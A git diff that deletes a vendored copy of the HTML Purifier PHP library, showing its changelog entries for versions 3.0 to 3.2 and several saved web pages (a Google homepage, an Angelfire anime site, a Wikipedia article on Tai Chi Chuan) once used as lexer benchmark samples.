verbose mode to command line test runner, use (--verbose) -. Turn on unit tests for UnitConverter -. Fix missing version number in configuration %Attr.DefaultImageAlt (added 3.2.0) -. Fix newline errors that caused spurious failures when CRLF HTML Purifier was - tested on Linux. -. Removed trailing whitespace from all text files, see - remote-trailing-whitespace.php maintenance script. -. Convert configuration to use property list backend. - -3.2.0, released 2008-10-31 -# Using %Core.CollectErrors forces line number/column tracking on, whereas - previously you could theoretically turn it off. -# HTMLPurifier_Injector->notifyEnd() is formally deprecated. Please - use handleEnd() instead. -! %Output.AttrSort for when you need your attributes in alphabetical order to - deal with a bug in FCKEditor. Requested by frank farmer. -! Enable HTML comments when %HTML.Trusted is on. Requested by Waldo Jaquith. -! Proper support for name attribute. It is now allowed and equivalent to the id - attribute in a and img tags, and is only converted to id when %HTML.TidyLevel - is heavy (for all doctypes). -! %AutoFormat.RemoveEmpty to remove some empty tags from documents. Please don't - use on hand-written HTML. -! Add error-cases for unsupported elements in MakeWellFormed. This enables - the strategy to be used, standalone, on untrusted input. -! %Core.AggressivelyFixLt is on by default. This causes more sensible - processing of left angled brackets in smileys and other whatnot. -! Test scripts now have a 'type' parameter, which lets you say 'htmlpurifier', - 'phpt', 'vtest', etc. in order to only execute those tests. This supercedes - the --only-phpt parameter, although for backwards-compatibility the flag - will still work. -! AutoParagraph auto-formatter will now preserve double-newlines upon output. - Users who are not performing inbound filtering, this may seem a little - useless, but as a bonus, the test suite and handling of edge cases is also - improved. -! Experimental implementation of forms for %HTML.Trusted -! Track column numbers when maintain line numbers is on -! Proprietary 'background' attribute on table-related elements converted into - corresponding CSS. Thanks Fusemail for sponsoring this feature! -! Add forward(), forwardUntilEndToken(), backward() and current() to Injector - supertype. -! HTMLPurifier_Injector->handleEnd() permits modification to end tokens. The - time of operation varies slightly from notifyEnd() as *all* end tokens are - processed by the injector before they are subject to the well-formedness rules. -! %Attr.DefaultImageAlt allows overriding default behavior of setting alt to - basename of image when not present. -! %AutoFormat.DisplayLinkURI neuters tags into plain text URLs. -- Fix two bugs in %URI.MakeAbsolute; one involving empty paths in base URLs, - the other involving an undefined $is_folder error. -- Throw error when %Core.Encoding is set to a spurious value. Previously, - this errored silently and returned false. -- Redirected stderr to stdout for flush error output. -- %URI.DisableExternal will now use the host in %URI.Base if %URI.Host is not - available. -- Do not re-munge URL if the output URL has the same host as the input URL. - Requested by Chris. -- Fix error in documentation regarding %Filter.ExtractStyleBlocks -- Prevent ]]> from triggering %Core.ConvertDocumentToFragment -- Fix bug with inline elements in blockquotes conflicting with strict doctype -- Detect if HTML support is disabled for DOM by checking for loadHTML() method. -- Fix bug where dots and double-dots in absolute URLs without hostname were - not collapsed by URIFilter_MakeAbsolute. -- Fix bug with anonymous modules operating on SafeEmbed or SafeObject elements - by reordering their addition. -- Will now throw exception on many error conditions during lexer creation; also - throw an exception when MaintainLineNumbers is true, but a non-tracksLineNumbers - is being used. -- Detect if domxml extension is loaded, and use DirectLEx accordingly. -- Improve handling of big numbers with floating point arithmetic in UnitConverter. - Reported by David Morton. -. Strategy_MakeWellFormed now operates in-place, saving memory and allowing - for more interesting filter-backtracking -. New HTMLPurifier_Injector->rewind() functionality, allows injectors to rewind - index to reprocess tokens. -. StringHashParser now allows for multiline sections with "empty" content; - previously the section would remain undefined. -. Added --quick option to multitest.php, which tests only the most recent - release for each series. -. Added --distro option to multitest.php, which accepts either 'normal' or - 'standalone'. This supercedes --exclude-normal and --exclude-standalone - -3.1.1, released 2008-06-19 -# %URI.Munge now, by default, does not munge resources (for example, ) - In order to enable this again, please set %URI.MungeResources to true. -! More robust imagecrash protection with height/width CSS with %CSS.MaxImgLength, - and height/width HTML with %HTML.MaxImgLength. -! %URI.MungeSecretKey for secure URI munging. Thanks Chris - for sponsoring this feature. Check out the corresponding documentation - for details. (Att Nightly testers: The API for this feature changed before - the general release. Namely, rename your directives %URI.SecureMungeSecretKey => - %URI.MungeSecretKey and and %URI.SecureMunge => %URI.Munge) -! Implemented post URI filtering. Set member variable $post to true to set - a URIFilter as such. -! Allow modules to define injectors via $info_injector. Injectors are - automatically disabled if injector's needed elements are not found. -! Support for "safe" objects added, use %HTML.SafeObject and %HTML.SafeEmbed. - Thanks Chris for sponsoring. If you've been using ad hoc code from the - forums, PLEASE use this instead. -! Added substitutions for %e, %n, %a and %p in %URI.Munge (in order, - embedded, tag name, attribute name, CSS property name). See %URI.Munge - for more details. Requested by Jochem Blok. -- Disable percent height/width attributes for img. -- AttrValidator operations are now atomic; updates to attributes are not - manifest in token until end of operations. This prevents naughty internal - code from directly modifying CurrentToken when they're not supposed to. - This semantics change was requested by frank farmer. -- Percent encoding checks enabled for URI query and fragment -- Fix stray backslashes in font-family; CSS Unicode character escapes are - now properly resolved (although *only* in font-family). Thanks Takeshi Terada - for reporting. -- Improve parseCDATA algorithm to take into account newline normalization -- Account for browser confusion between Yen character and backslash in - Shift_JIS encoding. This fix generalizes to any other encoding which is not - a strict superset of printable ASCII. Thanks Takeshi Terada for reporting. -- Fix missing configuration parameter in Generator calls. Thanks vs for the - partial patch. -- Improved adherence to Unicode by checking for non-character codepoints. - Thanks Geoffrey Sneddon for reporting. This may result in degraded - performance for extremely large inputs. -- Allow CSS property-value pair ''text-decoration: none''. Thanks Jochem Blok - for reporting. -. Added HTMLPurifier_UnitConverter and HTMLPurifier_Length for convenient - handling of CSS-style lengths. HTMLPurifier_AttrDef_CSS_Length now uses - this class. -. API of HTMLPurifier_AttrDef_CSS_Length changed from __construct($disable_negative) - to __construct($min, $max). __construct(true) is equivalent to - __construct('0'). -. Added HTMLPurifier_AttrDef_Switch class -. Rename HTMLPurifier_HTMLModule_Tidy->construct() to setup() and bubble method - up inheritance hierarchy to HTMLPurifier_HTMLModule. All HTMLModules - get this called with the configuration object. All modules now - use this rather than __construct(), although legacy code using constructors - will still work--the new format, however, lets modules access the - configuration object for HTML namespace dependant tweaks. -. AttrDef_HTML_Pixels now takes a single construction parameter, pixels. -. ConfigSchema data-structure heavily optimized; on average it uses a third - the memory it did previously. The interface has changed accordingly, - consult changes to HTMLPurifier_Config for details. -. Variable parsing types now are magic integers instead of strings -. Added benchmark for ConfigSchema -. HTMLPurifier_Generator requires $config and $context parameters. If you - don't know what they should be, use HTMLPurifier_Config::createDefault() - and new HTMLPurifier_Context(). -. Printers now properly distinguish between output configuration, and - target configuration. This is not applicable to scripts using - the Printers for HTML Purifier related tasks. -. HTML/CSS Printers must be primed with prepareGenerator($gen_config), otherwise - fatal errors will ensue. -. URIFilter->prepare can return false in order to abort loading of the filter -. Factory for AttrDef_URI implemented, URI#embedded to indicate URI that embeds - an external resource. -. %URI.Munge functionality factored out into a post-filter class. -. Added CurrentCSSProperty context variable during CSS validation - -3.1.0, released 2008-05-18 -# Unnecessary references to objects (vestiges of PHP4) removed from method - signatures. The following methods do not need references when assigning from - them and will result in E_STRICT errors if you try: - + HTMLPurifier_Config->get*Definition() [* = HTML, CSS] - + HTMLPurifier_ConfigSchema::instance() - + HTMLPurifier_DefinitionCacheFactory::instance() - + HTMLPurifier_DefinitionCacheFactory->create() - + HTMLPurifier_DoctypeRegistry->register() - + HTMLPurifier_DoctypeRegistry->get() - + HTMLPurifier_HTMLModule->addElement() - + HTMLPurifier_HTMLModule->addBlankElement() - + HTMLPurifier_LanguageFactory::instance() -# Printer_ConfigForm's get*() functions were static-ified -# %HTML.ForbiddenAttributes requires attribute declarations to be in the - form of tag@attr, NOT tag.attr (which will throw an error and won't do - anything). This is for forwards compatibility with XML; you'd do best - to migrate an %HTML.AllowedAttributes directives to this syntax too. -! Allow index to be false for config from form creation -! Added HTMLPurifier::VERSION constant -! Commas, not dashes, used for serializer IDs. This change is forwards-compatible - and allows for version numbers like "3.1.0-dev". -! %HTML.Allowed deals gracefully with whitespace anywhere, anytime! -! HTML Purifier's URI handling is a lot more robust, with much stricter - validation checks and better percent encoding handling. Thanks Gareth Heyes - for indicating security vulnerabilities from lax percent encoding. -! Bootstrap autoloader deals more robustly with classes that don't exist, - preventing class_exists($class, true) from barfing. -- InterchangeBuilder now alphabetizes its lists -- Validation error in configdoc output fixed -- Iconv and other encoding errors muted even with custom error handlers that - do not honor error_reporting -- Add protection against imagecrash attack with CSS height/width -- HTMLPurifier::instance() created for consistency, is equivalent to getInstance() -- Fixed and revamped broken ConfigForm smoketest -- Bug with bool/null fields in Printer_ConfigForm fixed -- Bug with global forbidden attributes fixed -- Improved error messages for allowed and forbidden HTML elements and attributes -- Missing (or null) in configdoc documentation restored -- If DOM throws and exception during parsing with PH5P (occurs in newer versions - of DOM), HTML Purifier punts to DirectLex -- Fatal error with unserialization of ScriptRequired -- Created directories are now chmod'ed properly -- Fixed bug with fallback languages in LanguageFactory -- Standalone testing setup properly with autoload -. Out-of-date documentation revised -. UTF-8 encoding check optimization as suggested by Diego -. HTMLPurifier_Error removed in favor of exceptions -. More copy() function removed; should use clone instead -. More extensive unit tests for HTMLDefinition -. assertPurification moved to central harness -. HTMLPurifier_Generator accepts $config and $context parameters during - instantiation, not runtime -. Double-quotes outside of attribute values are now unescaped - -3.1.0rc1, released 2008-04-22 -# Autoload support added. Internal require_once's removed in favor of an - explicit require list or autoloading. To use HTML Purifier, - you must now either use HTMLPurifier.auto.php - or HTMLPurifier.includes.php; setting the include path and including - HTMLPurifier.php is insufficient--in such cases include HTMLPurifier.autoload.php - as well to register our autoload handler (or modify your autoload function - to check HTMLPurifier_Bootstrap::getPath($class)). You can also use - HTMLPurifier.safe-includes.php for a less performance friendly but more - user-friendly library load. -# HTMLPurifier_ConfigSchema static functions are officially deprecated. Schema - information is stored in the ConfigSchema directory, and the - maintenance/generate-schema-cache.php generates the schema.ser file, which - is now instantiated. Support for userland schema changes coming soon! -# HTMLPurifier_Config will now throw E_USER_NOTICE when you use a directive - alias; to get rid of these errors just modify your configuration to use - the new directive name. -# HTMLPurifier->addFilter is deprecated; built-in filters can now be - enabled using %Filter.$filter_name or by setting your own filters using - %Filter.Custom -# Directive-level safety properties superceded in favor of module-level - safety. Internal method HTMLModule->addElement() has changed, although - the externally visible HTMLDefinition->addElement has *not* changed. -! Extra utility classes for testing and non-library operations can - be found in extras/. Specifically, these are FSTools and ConfigDoc. - You may find a use for these in your own project, but right now they - are highly experimental and volatile. -! Integration with PHPT allows for automated smoketests -! Limited support for proprietary HTML elements, namely , sponsored - by Chris. You can enable them with %HTML.Proprietary if your client - demands them. -! Support for !important CSS cascade modifier. By default, this will be stripped - from CSS, but you can enable it using %CSS.AllowImportant -! Support for display and visibility CSS properties added, set %CSS.AllowTricky - to true to use them. -! HTML Purifier now has its own Exception hierarchy under HTMLPurifier_Exception. - Developer error (not enduser error) can cause these to be triggered. -! Experimental kses() wrapper introduced with HTMLPurifier.kses.php -! Finally %CSS.AllowedProperties for tweaking allowed CSS properties without - mucking around with HTMLPurifier_CSSDefinition -! ConfigDoc output has been enhanced with version and deprecation info. -! %HTML.ForbiddenAttributes and %HTML.ForbiddenElements implemented. -- Autoclose now operates iteratively, i.e.
        now has - both span tags closed. -- Various HTMLPurifier_Config convenience functions now accept another parameter - $schema which defines what HTMLPurifier_ConfigSchema to use besides the - global default. -- Fix bug with trusted script handling in libxml versions later than 2.6.28. -- Fix bug in ExtractStyleBlocks with comments in style tags -- Fix bug in comment parsing for DirectLex -- Flush output now displayed when in command line mode for unit tester -- Fix bug with rgb(0, 1, 2) color syntax with spaces inside shorthand syntax -- HTMLPurifier_HTMLDefinition->addAttribute can now be called multiple times - on the same element without emitting errors. -- Fixed fatal error in PH5P lexer with invalid tag names -. Plugins now get their own changelogs according to project conventions. -. Convert tokens to use instanceof, reducing memory footprint and - improving comparison speed. -. Dry runs now supported in SimpleTest; testing facilities improved -. Bootstrap class added for handling autoloading functionality -. Implemented recursive glob at FSTools->globr -. ConfigSchema now has instance methods for all corresponding define* - static methods. -. A couple of new historical maintenance scripts were added. -. HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php split into two files -. tests/index.php can now be run from any directory. -. HTMLPurifier_Token subclasses split into seperate files -. HTMLPURIFIER_PREFIX now is defined in Bootstrap.php, NOT HTMLPurifier.php -. HTMLPURIFIER_PREFIX can now be defined outside of HTML Purifier -. New --php=php flag added, allows PHP executable to be specified (command - line only!) -. htmlpurifier_add_test() preferred method to translate test files in to - classes, because it handles PHPT files too. -. Debugger class is deprecated and will be removed soon. -. Command line argument parsing for testing scripts revamped, now --opt value - format is supported. -. Smoketests now cleanup after magic quotes -. Generator now can output comments (however, comments are still stripped - from HTML Purifier output) -. HTMLPurifier_ConfigSchema->validate() deprecated in favor of - HTMLPurifier_VarParser->parse() -. Integers auto-cast into float type by VarParser. -. HTMLPURIFIER_STRICT removed; no validation is performed on runtime, only - during cache generation -. Reordered script calls in maintenance/flush.php -. Command line scripts now honor exit codes -. When --flush fails in unit testers, abort tests and print message -. Improved documentation in docs/dev-flush.html about the maintenance scripts -. copy() methods removed in favor of clone keyword - -3.0.0, released 2008-01-06 -# HTML Purifier is PHP 5 only! The 2.1.x branch will be maintained - until PHP 4 is completely deprecated, but no new features will be added - to it. - + Visibility declarations added - + Constructor methods renamed to __construct() - + PHP4 reference cruft removed (in progress) -! CSS properties are now case-insensitive -! DefinitionCacheFactory now can register new implementations -! New HTMLPurifier_Filter_ExtractStyleBlocks for extracting - -
        edwardzyang@gmail.com | Personalized Home | Search History | My Account | Sign out
        Google

        -
        Web    Images    Groups    News    Froogle    Local    more »
         
          Advanced Search
          Preferences
          Language Tools


        Advertising Programs - Business Solutions - About Google

        ©2006 Google

        - - diff --git a/classes/security/htmlpurifier/benchmarks/samples/Lexer/3.html b/classes/security/htmlpurifier/benchmarks/samples/Lexer/3.html deleted file mode 100644 index 9e9f1a361..000000000 --- a/classes/security/htmlpurifier/benchmarks/samples/Lexer/3.html +++ /dev/null @@ -1,131 +0,0 @@ - - -Anime Digi-Lib Index - - - -
        - -
        - - - - - - - - - - - - - - - - « - - Previous | - Top 100 | - Next - - - » - - - - -
        - - - - - - - - - - -
         Search:The WebAngelfire    Planet
        -
        - Edit your Site show site directoryBrowse Sites hosted by angelfire
          - Vonagehosted by angelfire
        -
        -
        - - -
        - - - -
        - - - - - -
        -

        May 1, 2000

        -

        Pop Culture

        -

        by. H. Finkelstein

        - -
        -

        Welcome to the Anime Digi-Lib, a virtual index to anime on the - internet. This site strives to house a comprehensive index to both personal - and commercial websites and provides reviews to these sites. We hope to - be a gateway for people who've never imagined they'd ever be interested - in Japanese Animation.

        - - - - - - -
        -

         

        -

         

        - -
        - - - - - - - - - - - - - - - - -
        Search term:
        Case-sensitive - -yes
        exactfuzzy
        -
        - - -
        - - - - - -
        What is better, subtitled or dubbed anime?
        Subtitled
        Current results
        Free - Web Polls
        - -
        - - - - - diff --git a/classes/security/htmlpurifier/benchmarks/samples/Lexer/4.html b/classes/security/htmlpurifier/benchmarks/samples/Lexer/4.html deleted file mode 100644 index 27cea255f..000000000 --- a/classes/security/htmlpurifier/benchmarks/samples/Lexer/4.html +++ /dev/null @@ -1,543 +0,0 @@ - - - - - - - - Tai Chi Chuan - Wikipedia, the free encyclopedia - - - - - - - - - - - - - - - - - -
        -
        -
        - - -
        Registration for Wikimania 2006 is open.   
        -

        Tai Chi Chuan

        -
        -

        From Wikipedia, the free encyclopedia

        - -
        -
        Jump to: navigation, search
        - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
        ???
        - -
        -
        -
        Yang Chengfu in a posture from the Tai Chi solo form known as Single Whip, circa 1918 -
        -
        Enlarge
        -Yang Chengfu in a posture from the Tai Chi solo form known as Single Whip, circa 1918
        -
        -
        -
        -
        Chinese Name
        Hanyu PinyinTijqun
        Wade-GilesT'ai4 Chi2 Ch'an2
        Simplified Chinese???
        Traditional Chinese???
        Cantonesetaai3 gik6 kyun4
        Japanese Hiragana???????
        Korean???
        VietnameseThi C?c Quy?n
        -

        Tai Chi Chuan, T'ai Chi Ch'an or Taijiquan (Traditional Chinese: ???; Simplified Chinese: ???; pinyin: Tijqun; literally "supreme ultimate fist"), commonly known as Tai Chi, T'ai Chi, or Taiji, is an internal Chinese martial art. There are different styles of T'ai Chi Ch'an, although most agree they are all based on the system originally taught by the Chen family to the Yang family starting in 1820. It is often promoted and practiced as a martial arts therapy for the purposes of health and longevity, (some recent medical studies support its effectiveness). T'ai Chi Ch'an is considered a soft style martial art, an art applied with as complete a relaxation or "softness" in the musculature as possible, to distinguish its theory and application from that of the hard martial art styles which use a degree of tension in the muscles.

        - -

        Variations of T'ai Chi Ch'an's basic training forms are well known as the slow motion routines that groups of people practice every morning in parks across China and other parts of the world. Traditional T'ai Chi training is intended to teach awareness of one's own balance and what affects it, awareness of the same in others, an appreciation of the practical value in one's ability to moderate extremes of behavior and attitude at both mental and physical levels, and how this applies to effective self-defense principles.

        - - - - -
        -
        -

        Contents

        -
        - -
        -

        - - -

        -

        Overview

        -

        Historically, T'ai Chi Ch'an has been regarded as a martial art, and its traditional practitioners still teach it as one. Even so, it has developed a worldwide following among many thousands of people with little or no interest in martial training for its aforementioned benefits to health and health maintenance. Some call it a form of moving meditation, and T'ai Chi theory and practice evolved in agreement with many of the principles of traditional Chinese medicine. Besides general health benefits and stress management attributed to beginning and intermediate level T'ai Chi training, many therapeutic interventions along the lines of traditional Chinese medicine are taught to advanced T'ai Chi students.

        -

        T'ai Chi Ch'an as physical training is characterized by its requirement for the use of leverage through the joints based on coordination in relaxation rather than muscular tension in order to neutralize or initiate physical attacks. The slow, repetitive work involved in that process is said to gently increase and open the internal circulation (breath, body heat, blood, lymph, peristalsis, etc.). Over time, proponents say, this enhancement becomes a lasting effect, a direct reversal of the constricting physical effects of stress on the human body. This reversal allows much more of the students' native energy to be available to them, which they may then apply more effectively to the rest of their lives; families, careers, spiritual or creative pursuits, hobbies, etc.

        - -

        The study of T'ai Chi Ch'an involves three primary subjects:

        -
          -
        • Health - an unhealthy or otherwise uncomfortable person will find it difficult to meditate to a state of calmness or to use T'ai Chi as a martial art. T'ai Chi's health training therefore concentrates on relieving the physical effects of stress on the body and mind.
        • -
        • Meditation - the focus meditation and subsequent calmness cultivated by the meditative aspect of T'ai Chi is seen as necessary to maintain optimum health (in the sense of effectively maintaining stress relief or homeostasis) and in order to use it as a soft style martial art.
        • -
        • Martial art - the ability to competently use T'ai Chi as a martial art is said to be proof that the health and meditation aspects are working according to the dictates of the theory of T'ai Chi Ch'an.
        • - -
        -

        In its traditional form (many modern variations exist which ignore at least one of the above requirements) every aspect of its training has to conform with all three of the aforementioned categories.

        -

        The Mandarin term "T'ai Chi Ch'an" translates as "Supreme Ultimate Boxing" or "Boundless Fist". T'ai Chi training involves learning solo routines, known as forms, and two person routines, known as pushing hands, as well as acupressure-related manipulations taught by traditional schools. T'ai Chi Ch'an is seen by many of its schools as a variety of Taoism, and it does seemingly incorporate many Taoist principles into its practice (see below). It is an art form said to date back many centuries (although not reliably documented under that name before 1850), with precursor disciplines dating back thousands of years. The explanation given by the traditional T'ai Chi family schools for why so many of their previous generations have dedicated their lives to the study and preservation of the art is that the discipline it seems to give its students to dramatically improve the effects of stress in their lives, with a few years of hard work, should hold a useful purpose for people living in a stressful world. They say that once the T'ai Chi principles have been understood and internalized into the bodily framework the practitioner will have an immediately accessible "toolkit" thereby to improve and then maintain their health, to provide a meditative focus, and that can work as an effective and subtle martial art for self-defense.

        -

        Teachers say the study of T'ai Chi Ch'an is, more than anything else, about challenging one's ability to change oneself appropriately in response to outside forces. These principles are taught using the examples of physics as experienced by two (or more) bodies in combat. In order to be able to protect oneself or someone else by using change, it is necessary to understand what the consequences are of changing appropriately, changing inappropriately and not changing at all in response to an attack. Students, by this theory, will appreciate the full benefits of the entire art in the fastest way through physical training of the martial art aspect.

        - -

        Wu Chien-ch'an, co-founder of the Wu family style, described the name T'ai Chi Ch'an this way at the beginning of the 20th century:

        -
        -
        "Various people have offered different explanations for the name T'ai Chi Ch'uan. Some have said: 'In terms of self-cultivation, one must train from a state of movement towards a state of stillness. T'ai Chi comes about through the balance of yin and yang. In terms of the art of attack and defense then, in the context of the changes of full and empty, one is constantly internally latent, not outwardly expressive, as if the yin and yang of T'ai Chi have not yet divided apart.'
        - -
        Others say: 'Every movement of T'ai Chi Ch'uan is based on circles, just like the shape of a T'ai Chi symbol. Therefore, it is called T'ai Chi Ch'uan.' Both explanations are quite reasonable, especially the second, which is more complete."
        -
        - -

        - -

        Training and techniques

        -
        -
        The T'ai Chi Symbol or T'ai Chi T'u (Taijitu) -
        -
        Enlarge
        -The T'ai Chi Symbol or T'ai Chi T'u (Taijitu)
        -
        -
        -

        As the name T'ai Chi Ch'an is held to be derived from the T'ai Chi symbol, the taijitu or t'ai chi t'u (???, pinyin tijt), commonly known in the West as the "yin-yang" diagram, T'ai Chi Ch'an techniques are said therefore to physically and energetically balance yin (receptive) and yang (active) principles: "From ultimate softness comes ultimate hardness."

        - -

        The core training involves two primary features: the first being the solo form or ch'an, a slow sequence of movements which emphasize a straight spine, relaxed breathing and a natural range of motion; the second being different styles of pushing hands or t'ui shou (??) for training "stickiness" and sensitivity in the reflexes through various motions from the forms in concert with a training partner in order to learn leverage, timing, coordination and positioning when interacting with another. Pushing hands is seen as necessary not only for training the self-defense skills of a soft style such as T'ai Chi by demonstrating the forms' movement principles experientially, but also it is said to improve upon the level of conditioning provided by practice of the solo forms by increasing the workload on students while they practice those movement principles.

        -

        The solo form should take the students through a complete, natural, range of motion over their centre of gravity. Accurate, repeated practice of the solo routine is said to retrain posture, encourage circulation throughout the students' bodies, maintain flexibility through their joints and further familiarize students with the martial application sequences implied by the forms. The major traditional styles of T'ai Chi have forms which differ somewhat cosmetically, but there are also many obvious similarities which point to their common origin. The solo forms, empty-hand and weapon, are catalogues of movements that are practised individually in pushing hands and martial application scenarios to prepare students for self-defence training. In most traditional schools different variations of the solo forms can be practiced; fast/slow, small circle/large circle, square/round (which are different expressions of leverage through the joints), low sitting/high sitting (the degree to which weight-bearing knees are kept bent throughout the form), for example.

        -

        In a fight, if one uses hardness to resist violent force then both sides are certain to be injured, at least to some degree. Such injury, according to T'ai Chi theory, is a natural consequence of meeting brute force with brute force. The collision of two like forces, yang with yang, is known as "double-weighted" in T'ai Chi terminology. Instead, students are taught not to fight or resist an incoming force, but to meet it in softness and "stick" to it, following its motion while remaining in physical contact until the incoming force of attack exhausts itself or can be safely redirected, the result of meeting yang with yin. Done correctly, achieving this yin/yang or yang/yin balance in combat (and, by extension, other areas of one's life) is known as being "single-weighted" and is a primary goal of T'ai Chi Ch'an training. Lao Tzu provided the archetype for this in the Tao Te Ching when he wrote, "The soft and the pliable will defeat the hard and strong." This soft "neutralization" of an attack can be accomplished very quickly in an actual fight by an adept practitioner. A T'ai Chi student has to be well conditioned by many years of disciplined training; stable, sensitive and elastic mentally and physically in order to realize this ability, however.

        - -

        Other training exercises include:

        -
          -
        • Weapons training and fencing applications employing the straight sword known as the jian or chien or gim (jin ?), a heavier curved sabre, sometimes called a broadsword or tao (dao ?, which is actually considered a big knife), folding fan, staff (?), 7 foot (2 m) spear and 13 foot (4 m) lance (both called qiang ?). More exotic weapons still used by some traditional styles are the large Da Dao or Ta Tao (??) sabre, halberd (ji ?), cane, rope-dart, three sectional staff, lasso, whip, chain whip and steel whip.
        • - -
        • Two-person tournament sparring (as part of push hands competitions and/or san shou ??);
        • -
        • Breathing exercises; nei kung (?? nigong) or, more commonly, ch'i kung (?? qgong) to develop ch'i (? q) or "breath energy" in coordination with physical movement and post standing or combinations of the two. These were formerly taught only to disciples as a separate, complementary training system. In the last 50 years they have become more well known to the general public.
        • - -
        -

        T'ai Chi's martial aspect relies on sensitivity to the opponent's movements and centre of gravity dictating appropriate responses. Effectively affecting or "capturing" the opponent's centre of gravity immediately upon contact is trained as the primary goal of the martial T'ai Chi student, and from there all other technique can follow with seeming effortlessness. The alert calmness required to achieve the necessary sensitivity is acquired over thousands of hours of first yin (slow, repetitive, meditative, low impact) and then later adding yang ("realistic," active, fast, high impact) martial training; forms, pushing hands and sparring. T'ai Chi Ch'an trains in three basic ranges, close, medium and long, and then everything in between. Pushes and open hand strikes are more common than punches, and kicks are usually to the legs and lower torso, never higher than the hip in most styles. The fingers, fists, palms, sides of the hands, wrists, forearms, elbows, shoulders, back, hips, knees and feet are commonly used to strike, with strikes to the eyes, throat, heart, groin and other acupressure points trained by advanced students. There is an extensive repertoire of joint traps, locks and breaks (chin na), particularly applied to lock up or break an opponent's elbows, wrists, fingers, ankles, back or neck. Most T'ai Chi teachers expect their students to thoroughly learn defensive or neutralizing skills first, and a student will have to demonstrate proficiency with them before offensive skills will be extensively trained. There is also an emphasis in the traditional schools on kind-heartedness. One is expected to show mercy to one's opponents, as instanced by a poem preserved in some of the T'ai Chi families said to be derived from the Shaolin temple:

        -
        -
        "I would rather maim than kill
        - -
        Hurt than maim
        -
        Intimidate than hurt
        -
        Avoid than intimidate."
        -
        -
        -
        An outdoor Chen style class in Beijing -
        -
        Enlarge
        -An outdoor Chen style class in Beijing
        -
        -
        - - -

        -

        Styles and history

        -

        There are five major styles of T'ai Chi Ch'an, each named after the Chinese family that teaches (or taught) it:

        - -

        The order of seniority is as listed above. The order of popularity is Yang, Wu, Chen, Sun, and Wu/Hao. The first five major family styles share much underlying theory, but differ in their approaches to training.

        -

        In the modern world there are now dozens of new styles, hybrid styles and offshoots of the main styles, but the five family schools are the groups recognised by the international community as being orthodox. For example, there are several groups teaching what they call Wu Tang style T'ai Chi Ch'an (??????). The best known modern style going by the name Wu Tang has gained some publicity internationally, especially in the UK and Europe, but was originally taught by a senior student of the Wu (?) style.

        - -

        The designation Wu Tang Ch'an is also used to broadly distinguish internal or nei chia martial arts (said to be a specialty of the monasteries at Wu Tang Shan) from what are known as the external or wei chia styles based on Shaolinquan kung fu, although that distinction is sometimes disputed by individual schools. In this broad sense, among many T'ai Chi schools all styles of T'ai Chi (as well as related arts such as Pa Kua Chang and Hsing-i Ch'an) are therefore considered to be "Wu Tang style" martial arts. The schools that designate themselves "Wu Tang style" relative to the family styles mentioned above mostly claim to teach an "original style" they say was formulated by a Taoist monk called Zhang Sanfeng and taught by him in the Taoist monasteries at Wu Tang Shan. Some consider that what is practised under that name today may be a modern back-formation based on stories and popular veneration of Zhang Sanfeng (see below) as well as the martial fame of the Wu Tang monastery (there are many other martial art styles historically associated with Wu Tang besides T'ai Chi).

        - -

        When tracing T'ai Chi Ch'an's formative influences to Taoist and Buddhist monasteries, one has little more to go on than legendary tales from a modern historical perspective, but T'ai Chi Ch'an's practical connection to and dependence upon the theories of Sung dynasty Neo-Confucianism (a conscious synthesis of Taoist, Buddhist and Confucian traditions, esp. the teachings of Mencius) is readily apparent to its practitioners. The philosophical and political landscape of that time in Chinese history is fairly well documented, even if the origin of the art later to become known as T'ai Chi Ch'an in it is not. T'ai Chi Ch'an's theories and practice are therefore believed by some schools to have been formulated by the Taoist monk Zhang Sanfeng in the 12th century, a time frame fitting well with when the principles of the Neo-Confucian school were making themselves felt in Chinese intellectual life. Therefore the didactic story is told that Zhang Sanfeng as a young man studied Tao Yin (??, Pinyin daoyin) breathing exercises from his Taoist teachers and martial arts at the Buddhist Shaolin monastery, eventually combining the martial forms and breathing exercises to formulate the soft or internal principles we associate with T'ai Chi Ch'an and related martial arts. Its subsequent fame attributed to his teaching, Wu Tang monastery was known thereafter as an important martial center for many centuries, its many styles of internal kung fu preserved and refined at various Taoist temples.

        - - -

        -

        Family tree

        -

        This family tree is not comprehensive.

        -
        -LEGENDARY FIGURES
        -   |
        -Zhang Sanfeng*
        -circa 12th century
        -NEI CHIA
        -
        -   |
        -Wang Zongyue*
        -T'AI CHI CH'AN
        -   |
        -THE 5 MAJOR CLASSICAL FAMILY STYLES
        -   |
        -Chen Wangting
        -1600-1680 9th generation Chen
        -CHEN STYLE
        -   |
        -   +-------------------------------------------------------------------+
        -   |                                                                   |
        -Chen Changxing                                                     Chen Youben
        -1771-1853 14th generation Chen                                     circa 1800s 14th generation Chen
        -Chen Old Frame                                                     Chen New Frame
        -   |                                                                   |
        -
        -Yang Lu-ch'an                                                      Chen Qingping
        -1799-1872                                                          1795-1868
        -YANG STYLE                                                         Chen Small Frame, Zhao Bao Frame
        -   |                                                                   |
        -   +---------------------------------+-----------------------------+   |
        -   |                                 |                             |   |
        -Yang Pan-hou                      Yang Chien-hou                   Wu Yu-hsiang
        -1837-1892                         1839-1917                        1812-1880
        -Yang Small Frame                     |                             WU/HAO STYLE
        -
        -   |                                 +-----------------+                      |
        -   |                                 |                 |                      |
        -Wu Ch'uan-y                      Yang Shao-hou     Yang Ch'eng-fu          Li I-y
        -1834-1902                         1862-1930         1883-1936               1832-1892
        -   |                              Yang Small Frame  Yang Big Frame            |
        -Wu Chien-ch'an                                        |                    Hao Wei-chen
        -
        -1870-1942                                           Yang Shou-chung         1849-1920
        -WU STYLE                                            1910-1985                 |
        -108 Form                                                                      |
        -   |                                                                        Sun Lu-t'ang
        -Wu Kung-i                                                                   1861-1932
        -1900-1970                                                                   SUN STYLE
        -
        -   |                                                                          |
        -Wu Ta-kuei                                                                  Sun Hsing-i
        -1923-1970                                                                   1891-1929
        -
        -MODERN FORMS
        -
        -from Yang Ch`eng-fu
        -        |
        -        |
        -        |
        -        +--------------+
        -        |              |
        -  Cheng Man-ch'ing     |
        -  1901-1975            |
        -  Short (37) Form      |
        -                       |
        -              Chinese Sports Commission
        -              1956
        -              Beijing 24 Form
        -              .
        -              .
        -              1989
        -              42 Competition Form
        -
        -              (Wushu competition form combined from Sun, Wu, Chen, and Yang styles)
        -
        - -

        -

        Notes to Family tree table

        -

